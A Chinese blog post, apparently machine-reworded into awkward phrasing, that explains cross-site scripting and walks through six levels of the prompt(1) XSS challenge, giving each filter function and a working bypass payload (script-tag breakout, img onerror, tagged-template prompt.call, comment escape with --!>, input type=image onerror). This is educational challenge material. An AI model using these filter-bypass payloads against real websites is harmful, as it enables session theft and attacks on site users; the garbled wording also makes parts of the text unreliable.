跨站剧本进攻XSS(Cross Site Script)的道理与常见场

前段时间在网上看到一个网址,好奇之下进去看了看。胜利的条件是你录入一个串,让其挪用prompt(1) 。发明内里有许多几何想不到的对象,本日终于悠闲了来这里说说XSS。

XSS 道理

跨站剧本进攻(Cross Site Scripting),为反面层叠样式表(Cascading Style Sheets, CSS)的缩写夹杂,故将跨站剧本进攻缩写为XSS。恶意进攻者往Web页面里插入恶意Script代码,当用户欣赏该页之时,嵌入个中Web内里的Script代码会被执行,从而到达恶意进攻用户的目标。

XSS 常见场景

一些私人的博客,进攻者恶意评论,弹出alert,这种充其量也就是一个玩笑。可是假如是偷窃cookie,异常提交请求,这些就较量难熬了。

prompt(1)

chrome 版本 62.0.3202.75(正式版本) (64 位)

function escape(input) { // warm up // script should be executed without user interaction return '<input type="text" value="' + input + '">'; }

第一个

这是一个开胃菜,没有做任何校验,这种不设防的在此刻已经很少了。他把值直接拼入字符串,构成一个DOM input标签,那我们只要正确的把标签闭合掉就可以挪用了。

"><script>prompt(1)</script> ,拼出来的字符串为<input type="text" value=""><script>prompt(1)</script>"> ,这样就便是插入了我们的代码。

function escape(input) { // tags stripping mechanism from ExtJS library // Ext.util.Format.stripTags var stripTagsRE = /<\/?[^>]+>/gi; input = input.replace(stripTagsRE, ''); return '<article>' + input + '</article>'; }

第二个

这个已经晋升难度了,/<\/?[^>]+>/gi匹配<>标签内的所有对象,如输入<script>prompt(1)</script>转换事后会呈现prompt(1),内容内里的标签被替换掉了。所以这个我们去实验不闭合标签,让欣赏器本身去容错。

<img src onerror="prompt(1);" 该要领通过img加载src失败会挪用onerror的想法。

function escape(input) { // v-- frowny face input = input.replace(/[=(]/g, ''); // ok seriously, disallows equal signs and open parenthesis return input; }

第三个

这个就有点略坑了/[=(]/g把所以的=号和(号都替换掉了,这样我们实验挪用的时候就不能利用这些对象了。利用的要领是通过模板字符串的标签模板,这个ES6的特性。 <script>prompt`1`</script>看样子我们这样写就可以了,可是为什么没有生效呢?下面的图可以看出来,这样的话传入的是字符串,判定是不通过的,所以我们要修改一下<script>prompt.call${1}</script> ,这样就可以跑过验证了。(话说markdown如安在``内里写``)

跨站脚本打击XSS(Cross Site Script)的原理与常见场

function escape(input) { // filter potential comment end delimiters input = input.replace(/->/g, '_'); // comment the input to avoid script execution return '<!-- ' + input + ' -->'; }

第四个

这个看上去是把你写的内容都放在了html的注释语句内里,而且用/->/g替换了一把。我想到的方案有条件注释,可是条件注释这是IE的对象,我们就先不测试了。

--!><img src onerror="prompt(1);" 利用这个可以封锁

function escape(input) { // make sure the script belongs to own site // sample script: if (/^(?:https?:)?\/\/prompt\.ml\//i .test(decodeURIComponent(input))) { var script = document.createElement('script'); script.src = input; return script.outerHTML; } else { return 'Invalid resource.'; } }

第五个

这个是通过伪造url,我们利用的是会见带有用户名、暗码掩护的 URL来伪造。

%2f@urlurl为一个网络地点引用的js,内容为prompt(1)。原来想实验一下data:text/html,<html><script>prompt(1)</script></html>可是没有乐成,然后javascript:;和about:blank也没有通过,挺失落。

跨站脚本打击XSS(Cross Site Script)的原理与常见场


function escape(input) { // apply strict filter rules of level 0 // filter ">" and event handlers input = input.replace(/>|on.+?=|focus/gi, '_'); return '<input value="' + input + '" type="text">'; }

第六个

/>|on.+?=|focus/gi替换了>、onxxxx=和focus。通过input非凡的type范例。

`"type=image src onerror

="prompt(1)`

通过xss能做的工作

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/9052.html